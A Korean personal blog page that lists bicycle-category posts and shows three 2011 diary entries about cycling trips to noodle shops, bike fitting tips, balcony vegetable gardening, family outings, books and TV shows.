'자전거'에 해당되는 글 21건

  1. 2011.07.31 the answer, my friend 1
  2. 2011.06.29 to infinity, and beyond 1
  3. 2011.05.26 취미 생활 3
  4. 2011.03.18 GPS, 자전거 주행, 칼로리 계산 4
  5. 2010.11.01 daddy's gonna tell you no lie... 1
  6. 2010.10.06 화로 속의 밤 줍기 1
  7. 2010.05.10 간빙기
  8. 2010.04.11 그대들도 죽는다 2
  9. 2010.04.02 해킹 1
  10. 2010.02.22 GLXP 3
  11. 2009.10.26 돈 안되는 일
  12. 2009.10.15 화성문화제
  13. 2009.08.22 왕피천, 울진-삼척 자전거 여행 1
  14. 2009.05.06 변산반도 1
  15. 2008.10.21 Into the Wild
  16. 2008.05.18 임진각 주행 2
  17. 2008.03.26 디지탈 케이블 방송 2
  18. 2007.10.31 there's world elsewhere 1
  19. 2007.10.14 자전거 바퀴 정렬 2
  20. 2007.10.04 자전거 사고 4
  21. 2000.09.13 제주 자전거 하이킹 일주

the answer, my friend

잡기 2011. 7. 31. 22:28

시국을 보노라면 나도 모르게 입에서 밥 딜런의 노래가 흘러 나온다.
How many roads must a man walk down, before you call him a man?

How many seas must a white dove sail, before she sleeps in the sand?
how many times must a cannon ball fly, before they're forever banned?
The answer my friend is blowing in the wind, the answer is blowing in the wind.

2011/06/28 오산에서 외근 끝나고 집에 가는 길에 영빈루에 들렀지만 문을 닫았다. 추적추적 내리는 비를 맞으며 근처 인화루를 방문해 혼자 먹은 고추고기짬뽕. 이건... 그냥 옛날 짬뽕 맛이잖아? 어쨌거나 맛있으면 된 거다.

2011/07/02 행주산성 아래 멸치국수 먹으러 갔다가 모처럼 한강 둔치를 타고 달렸다. 행주대교에서 성산대교에 이르는 자전거 도로가 어느새 완공된 것 같다.

2011/07/02 불광천 합수부 부근의 수영장. 이 날 유난히 안개가 심했지만 나와서 놀 사람은 나와서 놀았다. 

2011/07/23. 딸애가 물향기 수목원의 이름을 기억하고 그 곳에 놀러가잔다. 몇 년에 걸쳐 물향기 수목원에 가끔 놀러왔는데, 이제야 수목원이 자리를 잡은 것 같다.

클릭=확대. 개쉬땅나무. 수목원으로 딱히 눈에 띄는 특색이 없어 보이지만, 근처 오산 시민들이 도시락을 싸 들고와 쉬다 가는 곳.

2011/07/30. 안산에 쌀국수 먹으러 가는 길에 경기 미술관에 들렀다. 큐레이터의 정성어린 설명을 들었지만 특별 전시실의 여러 작품들에서 거의 아무 감흥을 느끼지 못했다. 그냥 왠지, 짝통스럽고 진부하달까... 그 옆에서 무료로 하는 광고전이 더 재미있었다.


집 근처 수퍼에서 우연히 발견한 팔도라면의 부산밀면. 이 여름이면 늘 언급되는 팔도 비빔면을 안 먹은 지 몇 년 되었다 -- 팔도 비빔면 보다 국수 삶아 양념장 만들어 비빔면을 직접 만들어 먹었다.

부산밀면은 맛있다, 맛없다 하기에 참 싱숭생숭한... 흡사 팔도 비빔면처럼. 육수를 만들 수 있으면 그냥 집에서 만들어먹고 말지 싶지만 그럴 수가 없으니. 

사진을 왜 찍었지? 아마도 유전원 USB 허브를 쓰는데 일곱 개의 확장 포트 중 여유분이 고작 하나라는 걸 기록하려고. 저 빈 소켓은 블루투스 송수신기가 놓일 자리지만 포트가 부족해 빼 버렸다. pc에 5천원짜리 블루투스 송수신기를 달고 알맞은 블루투스 프로토콜 스택을 설치하고 블루투스 헤드셋으로 음악을 들었던 적이 있었다.

고씨가 페이스북에 무릎 아프다는 댓글을 달아 생각난 김에 졸라맨 통증 모델을 그렸다. 자전거 피팅은 여러 가지 팩터 및 정서(?)가 결합된 복잡한 문제라서 어디 자전거 사이트에서 키, 팔길이, 자전거 지오메트리만 입력해서 수치로 나오는 것으로 판단하기가 무척 어렵다.  피팅이 잘 안되면 신체에 좋지 않은 영향을 끼친다.

클릭=확대. 두 말하면 잔소리겠지만 통증의 원인은 거의 90% 이상이 안장의 높이와 포지션(앞,뒤로 밀어 안장 위치 조절) 때문이다. 평균보다 키가 크거나 작은 사람은 프레임의 지오메트리에 영향을 받을 수 있다. 하여튼 꼭 맞추기가 5mm~1cm 단위라서 공구 들고 다니며 장시간 주행하며 끊임없이 수정해 봐야 안다...
 
주행방법: 케이던스를 높이는데(페달질을 많이 하기) 주력하는 편이 여러 모로 좋은데, 계속 그렇게 타다보면 관련 근육이 발달해 젖산의 축적과 분해가 잘 일어나기 때문에 장거리 주행이 편해지고 운동 효과가 크다 -- 허벅지가 쓸데없이 두꺼워지지 않아 바지 구입비를 줄일 수 있다. 케이던스는 보통 90rpm을 추천하는데 그거 유지하려고 무리하는 것은 정말 말리고 싶다. 굉장히 힘들 뿐더러(24단 자전거의 2-7기어로 평속 30~34kmh) 에너지를 급격하게 소비한다. 70~90rpm 정도의 윈도우가 적당하지 싶다. 업힐이나, 바람의 저항이 심할 때 무리하게 속도를 유지하려고 심박을 높이면 심혈 장애가 오므로 특히 주의해야 한다. 장시간 주행에서는 충분한 물과 탄수화물(곡물 바나 주먹밥 따위)을 섭취하면 주행이 편해진다.

장마로 한 달 가량 자전거를 타지 못했다. 저번 달에 꽤 여러 번 자전거를 타면서 평속이 많이 늘었다. 작년에는 평지에서 22kmh 정도로 1-2시간 연속 주행이 가능했는데 올해는 두어시간 동안 25kmh 유지가 가능했다. 25kmh^2 / 22kmh^2=1.29. 엔진 성능이 약 30% 향상되어서 뿌듯해야 하지만...

내 체력이 그렇게 좋아졌을 리가 없으니 아무래도 올 봄에 한 자전거 정비 탓인 것 같다. 정비를 잘 해서 2년 동안 잔 소음 하나 없이 구름 성능이 그대로 유지되었다. 파워 트레인(체인, 체인링, 스프라켓, 폴리, 뒷바퀴 베어링)의 세심한 정비 말고도, 변속 타이밍을 잘 잡고 에너지 분배를 잘 해서 파워 트레인에 무리를 주지 않아 전과 달리 자전거 수명이 길어진 것 같다. 사실... 지난 2년 동안 자전거를 그다지 많이 탄 것은 아니지만.
 
펑크가 났다. 올해 들어 두 번째, 그래서 튜브에 붙은 펑크 패치는 모두 셋. 당연한 얘기지만 그 모든 펑크는 뒷바퀴에 났다. 또 났다. 아내의 미니벨로에 딸애를 태우고 가다가 뒷바퀴에 펑크가 났다. 묘하게도 두 군데에 동시에 펑크가 났다. 

요새 자전거를 손 볼까 싶어 한가할 때면 여기저기 사이트를 들락거렸다.
* 원래 기본 장착되어 있는 26x1.95 타이어도 좋지만 26x1.75는 더더욱 좋을 것 같다 -- 타이어의 마찰면적이 작아져 구름 저항이 줄면 속력이 더 오를 것이다.
*  도로를 타는 일이 잦아 핸들바 끝에 후미경도 달아야 할 것 같다.
* 속력이 늘면서 지금 사용하는 헤드라이트의 가시 거리가 짧은 것이 걱정이다.

 베란다 채소밭 1/3 가량이 망했다. 파프리카 과실은 하나만 달렸다. 잎새 사이에 이상한 곰팡이가 피어 잎사귀가 툭툭 떨어지며 시름시름 말라 죽었다. 봉숭아도 마찬가지다. 오이 역시 하나 따 먹고 말았다 -- 수분이 안되었는지 과실이 통 달리지 않았다. 그저 방울토마토만 튼튼하게 자라 토마토를 가끔 따 먹는데, 그것도 가지치기(?)를 잘 안 해서 잎사귀만 무성하게 달리고 요새는 통 열매가 맺히지 않는다. 수박씨가 다섯 개 중 두 개가 발아했지만 무리하게 떡잎만 돋은 그것을 수경재배 칸에 옮기다가 죽였다. 이래저래 가슴 아프다. 씨앗을 좀 사서 발아부터 다시 시작해봐야겠다.

밀가루도 만드는 CJ가 오죽하면 올렸겠어요 -- 빠리 바게트와 뚜레쥬르 빵은 왜 이리 맛이 없을까, 이런 빵이 어떻게 장사가 될까, 늘 궁금했다. 동네 시장통 구석에 있는 작은 빵집은 냉동 생지를 사용하지 않는다고 광고하는데 그 탓인지는 잘 모르겠지만 그 집 빵은 맛있다. 가격에 비해 빵이 비교적 크고, 구매 전에 대부분의 빵을 맛 볼 수 있다. 이건 별 상관 없겠지만 작년에 어떤 제빵대회에서 우승하기도 했다. 뚜레쥬르 / 빠리 바게트에서는 옥수수 식빵 정도만 샀었다. 하여튼 궁금한 것은 뚜레쥬르나 빠리 바게트 같은 맛없는 빵가게가 어떻게 과점하게 되었는가다. 공급이 용이한 냉동 생지 때문일까? 또는 김씨 말대로 이 땅의 한국인, 특히 아이들과 젊은 여자들의 한심한 허영심과 형편없는 입맛 때문일까. 그렇게 사 온 맛있는 빵을 안 먹었고 며칠 지나지 않아 곰팡이가 피었다. 으쓱. 여러 가지 정황으로부터 제대로 만든 빵이란 걸 더더욱 확신해서 앞으로 빵은 그 집에서 사겠다는 생각을 굳혔을 뿐. 아내 덕택에 재래시장이 옆에 붙어 있는 아파트로 이사온 거, 이거 정말 축복이다.

2011/07/17 세상이 그냥 일 없이 존재하고 당신도 일없이 그냥 존재하기 때문에 당신이 존재한다는 것을 굳이 축복하지 않았다. 마찬가지로 꽃 더러 왜 피었냐고 굳이 욕하지도 않았다. 이번에는 딸애를 데리고 과천과학관의 플라네타리움에 들어갈 수 있었다. 


나레이터는 어느 날부터 어느 날까지 태어난 사람들은 사자자리에 속하고 그 사자자리는 여름에 볼 수 있다며 레이저 포인터로 가리켰다.  여름에 태어난 사자자리 딸애는 특별히 기뻐보이지 않았다(육식동물답게 시시한 야채를 잘 안 먹는다 뿐?) 단지 우주가 얼마나 가혹한 곳인지 실험한다며 우주비행사를 지지고 질식시키고 방사능 오염시키는 광경에 까르르 웃음을 터트렸다. 딸애는 인간성의 시시한 축복들로부터 눈을 돌리고 위대한 숫자들의 규칙과 우주를 보게 될까? 기껏해야 지금은 기크나 너드의 무해한 취미나 취향 따위로 전락한 것들이지만... 

"배 타고 브라질에나 가고 싶다." 구로키가 한숨을 섞어 말했다. 
"웬 브라질?" 지로가 묻는다.
"텔레비전에서 봤는데 거기는 '스트리트 칠드런' 이라는 게 있어서 학교도 안 다니고 구두닦이 같은 걸 하면서 길거리에서 산대."
"너, 구두닦이 같은 거 하고 싶어?"
"그게 아니고, 대낮에 길에서 빈둥거려도 아무도 잔소리를 안 한다는 얘기야."
오쿠다 히데오, 남쪽으로 튀어! 모처럼 즐겁게 보고 심지어는 권하고 싶은 소설. 왜 이 나라에선 좌파에 환멸을 느끼고 전향한 아나키스트가 날뛰는 흥겹고 정다운 이런 사회파 소설이 잘 안 나오는 걸까? 교육 때문일까? 얼마 전에 들었던 얘기: 앞에 지나가던 고등학생이 이런 얘길 하더란다. "태풍은 좋겠다. 진로가 결정되어 있어서."

복지사회란 그 누가 아무리 멍청하거나 별나도 먹고 사는데 지장이 없고 짜증나고 귀찮은 것들(사회, 교육, 노동, 인권 문제 따위, 아참 보편적인 약자이자 아직까지는 보편적으로 멍청한 여성들의 문제도?)은 누구나 조금씩만 참고 기꺼이 비용을 지불하면 아침마다 청소차가 조용히 쓰레기를 치우듯이 소위 '사회'가 지저분한 문제들을 공동/분담 처리해 주는 것이라고 이해한다. 짜증나고 귀찮아도 사회구성원인 당신의 참여는 필수다. 그에 걸맞게 인류는 제한된 자원을 극단적인 효율과 성스러운 자연애호와 아무 개하고나 접붙는 것처럼 여기저기 갖다 붙이기 좋은 인도주의와 견고한 합리성으로 운영하는, 내 생애에는 이루어질 수 없는 개소리 또는 SF같은 목표를  꾸준히 추진해야 할 것이다 -- 고작 한두 무리가 그 짓을 잘해 왔다고 전지구적인 보편 복지가 실현되지 않으니까. 알고 있다. 내가 복지사회(아님 사회복지)를 완전히 잘못 이해했다. 검색해보면 복지사회에 관한 내 몰이해처럼 진부하고 밥맛 떨어지는 수많은 견해를 볼 수 있다. 이런 몽니나 부리지 말고 입 다물고 있어야겠지만, 

' 메뉴판에 오른 것들한테 소스가 무슨 상관이랴.' -- 데이비드 미첼, 클라우드 아틀라스. 기대를 져버리지 않는군. 미첼은 흡사 여기저기 배낭여행 한답시고 돌아다니면서 그저 짱박히기 좋은 포카라나 마날리, 또는, 치앙마이의 게스트하우스에 장기 체류하며 낮에는 소설 좀 쓰는 척 하다가 밤에는 맥주 한 병 붙들고 지나가는 여행자들과 빈둥거리며 (여행자답게) 가보지도 않은 곳에 관한 그리움과 인상 등 개뻥을 늘어놓을 듯한 소설가다. 한국에 와서 영어교사질 하며 빈둥거렸다면 이 갑갑하기 그지없는 전체주의 마초 국가에 관해 좀 더 잔혹하고 피카레스크한 SF를 썼을 것 같다 -- 전작들처럼 환생과 인연을 중시하는 클라우드 아틀라스에서 '한국'은 그저 invisible metropolitan이었고, 그것의 과장이 SF가 된 인상.

아참, 그러고 보니 한국에서  SF 쓰는 캐나다 작가(이름을 깜빡!)를 홍씨 환영 파티에서 만났다. 그는 나더러 왜  SF를 쓰지 않느냐고 물었고 it's not profitable이라고 성의 없이 대꾸했더니 놀란 눈치. '돈이 안 된다' 정도로 이해한 것 같아 부연 설명을 하다가 문득 중단했는데, 처음 한 대꾸가 군더더기 없는 대단히 적절한 표현이며 영어로 말하니까 훨씬 쉽게 정리가 되는 것 같다고 자평하고 만족했다. 그가 제조한 맥주는 꽤 맛있었고 붙박이처럼 술병 근처에 붙어있던 날 부러 끌고가 그 작가에게 소개하는 김씨는 영 마뜩치 않았다. 그러고 보니 그곳 거실을 어슬렁거리던 김보영님이 마침 보여 '팬입니다. 장편 안 써요?' 라고 앵무새처럼 말하니 '죄송합니다' 란다. 수긍이 간다. 행복하고 죄송하게 잘 사는 것 같았다. 

어느 개체가 먹이경쟁 등 집단에 소속됨으로써 치르는 비용이 혜택을 초과한다는 것을 알아차린다면, 언제든 떠난다는 대안을 갖게 되며, 아마 홀로 먹이를 찾아나설 것이다.


쿠진은 말했다. "내가 정말로 충격을 받은 부분은 이 행동이 이전 사례들과 대단히 비슷하다는 점이었어요. 겨우 두세 마리가 그렇게 한다고 물고기 떼가 어떻게 포식자 앞으로 곧장 나아가느냐는 겁니다. 정말로 그들은 자신의 정보를 깡그리 무시하고 사회적 맥락을 중시했지요." 물론 이것은 개체들이 주로 서로에게 단서를 얻는 계의 단점이었다. "잘못될 때는 정말로 크게 잘못되지요."

피터 밀러, 스마트 스웜. 잘못될 때는 정말로 크게 잘못된다...라... '나는 꼼수다'에서는 이 한국에서 벌어지는 모든 법과 질서와 인본주의를 무시한 기현상이 '배려심 가득한 동료애와  가족애를 지니신 섬세한 각하 때문'이라고 주장했다. 이 나라 국민들은 정말 천적을 향해 돌진하는 물고기떼와 흡사했다. 글로벌 호구 이명박 정부의 가장 바보같은 점은 누가 뭐래도 어처구니 없는 대북정책이라고 생각. 철학도, 논리도, 전략도, 이권도 없는... 

Game of Thrones. 마지막 화. 아직도 적응 안 되는 대너리스. 드라마를 잘 만들어놔서 2기 나오면 계속 보게될 듯. 번역본의 번역 논란엔 그냥 귀를 닫았다.  

White Collar. 둘 사이는 톰과 제리 같달까? 제리는 아무리 봐도 게이 같았다. 저 게이 같은 녀석은 도대체 못하는게 없다.

White Collar. 공처가 주제에 'World's Greatest FBI Agent' 라니... The Office가 생각난다. 정작 두 주요 배역이나 메인 플롯이나... 영 약빨 안 받는 각 에피소드의 스토리라인 보다는 뭐하나 버릴 것 없는 여자 조연들 덕에 그쪽으로 눈길이 갔다.

Falling Skies.  S01E06 까지 봤는데 차도가 영 안 보인다.  SF라서 꾸역꾸역 참고 봤다. 슬슬 떡밥 하나쯤 던질 때가 되었다 싶은데, 아직 낚시질을 안 한다. 연출이 멍청하다고 밖에... 솔직히 이런 걸 왜 만들었나 싶다. 한국 SF영화가 수준 이하다 싶을 정도로 개판이라 여러 사람들의 경멸과 조소의 대상이 되었지만, 그건 비단 한국 뿐만 아니라 전 세계적인 현상이지 싶다. 

Suits. 천재 소년이 멘토를 통해 변호사로 성장해 가는... 첫 에피소드가 매력적. S01E05 쯤 되니 슬슬 식상해지기 시작. 그것과는 별개로 저 멘토가 하는 짓들이 이해가 간다. 늘 뻔한 얘기겠지만, 1. 사람 마다에게는 특정한 자질이 있고 대개는 자기가 뭘 하는지 모르고 사는 것 같다 -- 종종 살아있는 것 같지 않다. 자질이란게 잘 보이지 않을 뿐더러 설령 그게 있다 하더라도 계발하는데 상당한 의식적 노력과 시간이 필요한데, 자기 혼자서라면 절대 못했을 꺼라고 호들갑을 떠는 것 뿐 멘토가 없어도 되지 싶다. 2. 사람들은 인정 받길 그 무엇보다도 강렬하게 원한다, 자신이 필요한 존재라는 느낌을 얻길 애처러울 정도로 갈구한다. 3. 도둑은 후배 도둑으로부터 얼마든지 존경받는다 -- 멘토는 그들 세계 나름의 라이프 밸런싱과 페어니스를 전수.

유아사 마사아키. 케모노즈메.  우습게도, 즐겁게 보았던 이 애니 제목을 몰랐다. 그래서 다시 보게 된 셈. 여전히 훌륭. 
 

우주전함 야마토. 자국의 향수병같은 국수주의에 관심 없듯이 옆 나라의 정신 상태에도 마찬가지로 관심이 없다. 극화의 품질만 놓고 본다면, 망할 일본 작품들이 대개 그런 것처럼 시망.
 

Chaos. 라틴계 미국인이  CIA가 되어 이 나라 저 나라 돌아다니며 CIA의 공식 인가가 없는 수상한 작전들을 수행. 캐릭터가 지나치게 저렴해 보였다. 이거 정말 제대로 하겠다고 돈 쳐발라 캐스팅 하고 로케이션에도 투자했더라면 꽤 괜찮았을텐데... 돈 적게 들여 날로 먹겠다고 작심한 듯.

Halo Legends E08. 헤일로 팬들이 이 애니메이션을 좋아하긴 할까? 

Warehouse 13. 돌아왔다. 못 본 새 얼굴이... 하여튼. 대사. I want to introduce you to a new world. Yeah, what kind of world? A world of endless wonder. 제발 좀 그렇게 되길.

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to infinity, and beyond

잡기 2011. 6. 29. 22:29
내 삶은 의지로 이루어져 있다. 의지는 글자로 이루어져 있고 글자는 시냅스의 접합 강도에 따라 형태와 의미가 변했다. 의지가 사라지면 삶도 사라진다.  주문이 떨어진 골렘처럼, 누더기를 기워붙인 사내처럼. 그래서 더럽게 기분이 나빴다.

Slutwalk -- 창녀처럼 입고 다니면 강간당할 수 있단다, 그래서 발끈한 여자들이 거리 행진을 시작. 

2011/5/30 구로. 가산디지탈단지역에서 내려 삼팔교자관을 찾아가는 길. 재개발 때문에 여기 모였던 조선족들이 뿔뿔이 흩어졌단다. 칭따오를 마시고 신림역 근처에서 양꼬치를 먹고 다시 맥주를 마셨다. 선배는 15년만 버티면 된단다. 성격이 워낙 좋은 사람이라, 굳이 존버정신으로 버틸 것 같지는 않았다. 즐기겠지.

2011/6/4 모처럼 산에 갔다. 상광교동 광교산 입구의 무허가 보리밥집들은 강제 철거될 운명. 북한산과 달리 상인들의 저항이 그리 거세 보이지 않는다.

2011/6/4 산에 올라가는 길에 애벌레를 보았다. 나비 애벌레 같은데? 꼬리에 긴 실을 매달고 등산로 복판에서 실낫같은 삶을 흔들흔들... 

맞바람을 맞으며 자전거를 타고 모처럼 방문한 안산습지공원 근처. 변함 없다. 저번에 저 맞은 편 공룡알 화석지에 갔다온 것이 생각났다. 기상청 자료를 뒤지다가 우연히 본 바람장미(windrose)에 따르면 예상대로(?) 수원엔 주로 서풍이 불었다. 

오이도 도착. 잠깐 들러 자전거에 기름칠을 하고 안산 시내로 향했다. 유명한 고향식당에서 쌀국수를 먹어 보려고... 베트남 청년이 주문을 받았다. 쌀국수에 고수를 안 가져다 준다. 달랄까 하다가 말았다. 매운 베트남 고추를 넣어 먹었다. 치킨스톡을 넣은 것 같은 닭육수. 

자전거를 타고 가다가 펑크가 났다. 난감. 공단역에 자전거 대여소가 있지만 문이 닫혀 펌프를 사용할 수 없었다. 어쩔 수 없이 지하철을 타고 집으로 돌아가야 했다. 역에서 펌프로 공기를 넣어 보니 타이어의 탄성이 유지되었다. 펑크가 아닌가? 타다 만 것이 억울해 좀 더 타 보니 타이어가 살금살금 주저 앉는다. 다시 바람을 넣고 집까지 간신히 타고 가서 펑크를 붙였다. 튜브에 전에 붙였던 패치가 보였다. 이것으로 두 번째다.

2011/6/12 몸이 근질거려서 다시 자전거를 탔다. 미사리 조정 경기장 근처에 있는, 작년에 갔던 초계국수집을 다시 방문했다. 전보다 닭 냄새가 덜 나고 덜 비리고 양이 어째 늘어난 것 같다. 닭고기 가슴살이 더 부드러웠으면 좋겠지만...

이로써 내 나름의 Noodle Triangle을 완성. 행주산성: 잔치국수(왕복 80km 가량), 미사리: 초계국수(왕복 100km 가량), 안산 중앙동: 베트남 쌀국수(왕복 70km 가량).

동네 수퍼에서 우연히 팔도에서 나온 부산밀면을 발견. 가끔 밀면이 생각나곤 했는데 잘 되었다. 먹어보니 그럴 듯 했다. 밀면 집이 수원에 하나, 안양에 하나 있었다. 수원에 있는 밀면집에서 밀면을 포장해 와 아내와 먹어봤는데, 아내 반응이 신통치 않았다. 난 좋았다.

데리고 하도 여기저기 돌아다닌 탓인지 딸은 구내염에 걸려 일주일 동안 밥을 제대로 먹지 못하고 고생. 딸애는 아빠가 자기랑 집에서 놀아줬으면 한단다. 집에서 뭘 하지? 딸애는 실사 앵그리버드를 좋아한다; 이불을 방바닥에 깔아놓고 내가 배개로 몸을 가린 채 꿀꿀 거리고  있으면 팔짝 뛰어 부딪혀 아빠를 쓰러뜨리는 놀이다. 딸이라 힘이 없어 늘 감사했다.

서호천 생태계 복원을 위해 수 년간 애쓰던 사람들이 축제를 벌였다. 재미가 없지만 사람들은 꾸준히 자리를 지켰다. 광교산으로부터 서호에 이르기까지 변변한 토종 생물 하나 없지만 어쩌다 맑은 개천물을 한 번 보니 속이 시원해졌던 기억.

아이를 데리고 여기 저기 돌아다니다가 본 시 낭송 축제. 민주당 출신의 수원 시장이 내 옆에서 비서관, 부인과 함께 막 자리를 뜨려고 하는 참이었다. 그쪽은 거들떠 보지 않았다. Happy 수원을, 뭔가 기억하기 힘든 이상한 구호로 바꿔놓은 거지 같은 센스 때문.




이제부터 나오는 사진들은 소위, 베란다 텃밭에서 자라는 식물을 여러 날짜에 걸쳐 찍은 것이다.

2011/6/4 나팔꽃, 봉선화, 분꽃. 딸애가 키우는 화분들. 햇볕이 부족해 웃자라는 듯. 아침이면 아이와 나는 화분에 물을 주고 작물을 돌보면서 하루를 시작했다. 

2011/6/17. 봉선화가 꽃망울을 터뜨렸고 딸애는 환호작약.

2011/6/4 양은 냄비 바닥에 구멍을 뚫고 흙을 넣어 부추씨를 뿌렸다.  작아서 못 쓰는 신발에도 역시 구멍을 내고 흙을 넣어 나팔꽃을 키웠다. 

2011/6/14. 나팔꽃을 햇볕에 놔뒀더니 덩굴을 뻗기 시작. 

2011/6/14. 부추도 싹이 돋았다. 흡사 잔디, 아니 초록색 머리카락처럼 자란다. 

2011/6/4 대파를 다 잘라 먹고 뿌리를 심었더니 잘 자란다. 아내가 재미가 들렸는지 흙을 사와 이것 저것 더 심었다. 흙에 작물을 키우는게 별로 좋아 보이지는 않았다. 어렸을 적에 해 봤고 잘될 때도 있고 안될 때도 있었다. 무엇보다도 흙에 키우면 벌레가 많이 꼬인다.

2011/6/14. 대파가 웃자라는 건지, 아니면 성장 한계에 도달해 더 이상 자랄 수 없는 것인지 모르겠다. 잘 자라던 줄기들이 축축 늘어지며 쓰러졌다. 쓰러진 것들은 잘라서 조리할 때 써 먹었다. 

2011/6/14에 찍은 것. 6월 4일, 아내가 감질맛 난다며 엽채류를 더 키우잔다. 이왕 하는 김에 남은 흙을 통에 담고 남은 청상추 씨앗을 뿌렸더니 7일 후에 싹이 돋았다. 하지만 직사광을 못 쬐서인지 다들 비실비실. 왠지 실패한 것 같아 씨앗들에게 미안하다. 며칠 베란다 바깥에 놓아 두었다. 좀 더 지켜보고 굳이 자랄 것 같으면 얼마쯤은 솎아낼 생각.



2011/6/4 방울토마토에 세 번째 꽃이 피었다. 방충 덧문이 달려 있는데, 방충 덧문을 닫아 두면 햇볕이 덜 닿는다. 그래서 아침에 출근할 때면 덧문을 열어놨는데, 저녁에 닫지 않아 모기가 날아 들어왔다. 아이가 여기 저기 물려 아내의 잔소리를 들었다.

2011/6/4 방울 토마토의 크기는 120cm. 햇살이 잘 닿으면 방울 토마토는 하루에 2리터의 물을 뿌리로부터 빨아들인단다. 10리터 가량의 굴 상자라 아직까지 그날 그날 물을 대줄 필요는 없어 보였다. 흐린 날에는 증산작용도 덜하고 물의 소비량도 적었다. 방울 토마토는 가지가 약해 줄에다 묶어 주어야 하고, 곁가지가 중구난방으로 자라는 편이라 가지치기를 해줘야 한다. 책을 보고 공부 한다고 할만큼은 했는데 가지치기를 하려고 보니 어디를 자를 지 선뜻 손이 가지 않았다.

클릭=확대. 왼쪽은 6월 4일, 오른쪽은 6월 24일. 사진으로 보면 티가 안 나지만 오이와 방울 토마토가 엄청나게 자랐다. 오이는 내 키를 훌쩍 넘겼고(약 2m), 방울 토마토 왼쪽은 120cm, 오른쪽은 180cm까지 자랐다. 가지치기를 꽤 했는데도 잎과 가지가 무성했다. 어떤 방울 토마토는 한 뿌리에서 2만과를 수확하기도 했단다.


2011/6/4 첫 번째 방울 토마토. 단단하고 푸릇푸릇. 

2011/6/24 여물기 시작. 꽃이 지고 약 한 달. 아내가 방울 토마토 넷 중 하나를 따 먹었다. 때마침 김문수 경기도지사가 춘향전은 춘향이 따 먹는 얘기라고 주장했다.



2011/6/4 오이 꽃이 피었다. 암꽃.


2011/6/17 오이꽃은 줄기 마디마다 하나씩 피기 시작했다. 모종을 사서 흙에서 키우며 신경을 썼다; 가끔 양액을 물 대신 줬더니 무럭무럭 자란다. 오이 중 몇 개는 말라 비틀어지더니 툭툭 떨어졌다. 오이 수정에 관해 알아보니, 자가 수정이라 굳이 수정을 할 필요가 없단다, 아니, 수정을 해 주면 안 된단다. 오이꽃이 둘 그렇게 결실없이 떨어지는 꼴을 안타깝게 바라 보다가 에라 모르겠다, 붓으로 수꽃에서 화분을 취해 암꽃에 발랐다. 둘을 그렇게 했는데 잘 한 짓인지 모르겠다. 

2011/6/24. 불과 3일 만에 이렇게 자란 오이가 생겼다. 이건 제대로 자랄 것 같다. 그런데 아뿔사, 이게 내가 수정을 시켜준 꽃인지 아니면 저절로 저렇게 된 건지 알 수가 없다. -_-



2011/6/14 수박을 먹고 남은 씨앗을 발아시켜 보려고 스펀지에 씨앗을 묻고 양액에 담궜다. 6월 24일까지 싹이 트지 않았다. 종자에 무슨 조작을 가한 걸까? 조금 더 기다려 봐야겠다.

2011/6/4. 수경재배에 재미가 붙어 동네 꽃집에서 스킨답서스 화분을 3천원에 구입해 난도질을 해서 여섯 개의 물통에 양액을 넣고 키우기 시작. 음지에서 잘 자라고 넝쿨을 드리우면 그럴듯 해 보일 것 같아 시작했는데, 자라는 속도가 느려 감질맛 났다. 

 
Workaholics. 이런 jerk들을 봤나. 난 왜 jerk가 좋지? 어린 시절이 생각나서일까?
 

Sinbad and the eye of tiger. 어린 시절에 아빠 손 잡고 극장에 가서 처음 본 영화. 검치호 외엔 기억나는 장면이 하나도 없었다.

Sinbad and the eye of tiger. 이런 조잡한 아티팩트가 골렘을 움직이는 심장... 재미가 없어 연신 하품을 했다. 


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취미 생활

잡기 2011. 5. 26. 02:02
A가 취미가 뭐냐고 묻길래, 당황했다.  취미란 것이 뭘 해도 오덕질처럼 변해 버리는 것은 어쩔 수 없었다. 주객이 전도되는 것도 어쩔 수 없었다. 

다리를 붙들어 매고 혀를 자유롭게 하고 심장을 새삼 뛰게 하고 죽은자들과 친구가 되고 어두운 전등 아래서 비전을 까발리며 가시광선 바깥의 스펙트럼에 심취하고 문맥을 운유한다. 로렌츠 수축의 정서적 경험, 몰두할 수 없어서 더 이상은 취미라고 말할 수 없는 것: 음주.

세상에 후련하게 등을 돌리고 친구를 만나지 않으며 더불어 적도 만나지 않으니 구름처럼 부실하게 뭉글어진 채 흘러가는 조각난 기억과, 흡사 변기에서 떠내려가는 토사물처럼 소용돌이치고 우뢰처럼 아우성치며 휘말려 들어가는 고통과, 눈을 태워버릴 듯한 햇살 아래 타다 남은 뼈다귀를 추스려 삐걱삐걱 줄이 풀린 피노키오처럼 거리를 걷던 나날들, 이름도 얼굴도 없는 바기나들, 그 모든 것들이 사라졌다. 그래서 토성에 여문 여름이 있었나? 없다.

2011/3/26 자전거를 타고 광교산에 갔다. 광교산 빨래판 코스는 이번이 두 번째인데, 업힐 대회가 두 차례 열리기도 했다. 작년 11월엔 다운힐 중 누군가 심하게 다쳤다(처음엔 죽었다는 소문이 돌았다) -- 그 코스가 폐쇄될까봐 걱정하는 자전거 동호인들이 있었다. 수근수근 걱정걱정... 산책 하러 몇 번 가 본 적이 있다. 자전거를 타고 가면 어떨까, 정말 위험한가? 나도 다칠까? 호기심이 일었다.

경사가 심해 앞바퀴가 들렸다. 수습하려고 서서 몸을 앞으로 기울였지만 근력/탄력 부족으로 거의 정지 상태에서 자전거 몸체가 바들바들 떨었다. 턱 밑으로 땀방울이 툭툭 떨어져 내렸다. 한 번에 끝까지 올라가지 못하고 두 번 내렸다가 다시 탔다. 경사가 심해 자전거에서 한 번 내리면 다시 타고 오르긴 힘들어서 지그재그, 비틀비틀 힘겹게 올라갔다. 업힐이 언제나 그렇듯 오른다고 무슨 성취감을 느끼는 것은 아니었다. 

원래 계획은 광교산 헬기장 까지 올라가 안양 백운호수 쪽으로 내려가는 것이었다. 하지만 헬기장에서 백운호수 쪽으로 내려가는 길이 안 보였다. 눈 앞엔 빤히 아래가 내려다 보이는데, 진흙길을 산악 잔차질 한다고 내려가려니 내키지 않았다. 돌아섰다.

빨래판 코스의 다운힐은 공포스러웠다. 35~40kmh 가량 끼다만 방구처럼 찝찝한 속도를 내는게 고작. 대체 여기 경사도가 얼마나 될까? 30~40도는 나올 것 같은데, 다음에 가면 경사도를 재 봐야 할 것 같다.  이게 쉬운 코스란다. 산에는 가지 말자.  

3월, 날이 풀리고 나서 주말이면 하트 코스를 돌았다. 그래도 자전거 주행을 취미라고 하기에는 부족했다. 게다가 자출은 취미가 아니다. 땀 나는 출근이지.

